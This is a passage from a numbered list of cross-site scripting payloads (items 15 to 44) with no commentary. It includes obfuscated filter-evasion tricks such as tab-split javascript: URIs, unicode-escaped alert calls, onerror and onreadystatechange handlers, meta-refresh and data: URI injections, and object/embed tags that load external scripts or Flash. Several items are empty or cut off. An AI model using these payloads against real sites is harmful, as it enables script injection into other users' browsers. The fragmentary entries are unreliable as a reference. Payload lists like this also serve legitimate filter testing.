15)
16) X
17)
http://www.alert(1)
18)
19) alert(1)
<br />
<br />20) <iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
<br />
<br />21) <img src=`xx:xx`onerror=alert(1)>
<br />
<br />22) <object type="text/x-scriptlet" data="
http://jsfiddle.net/XLE63/ "></object>
<br />
<br />23) <meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<br />
<br />24) <math><a xlink:href="//jsfiddle.net/t846h/">click
<br />
<br />25) <embed code="
http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<br />
<br />26) <svg contentScriptType=text/vbs><script>MsgBox+1
<br />
<br />27) <a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a
<br />
<br />28) <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
<br />
<br />29) <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')
30)
31)
32)
33) +-+-1-+-+alert(1)
34)
35) /*<script* */alert(1)
36)
37) //
confirm(1);
38) alert(1)
<br />
<br />39) <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<br />
<br />40) <script x> alert(1)
41)
style="x:">
42) <--` --!>
43)
44)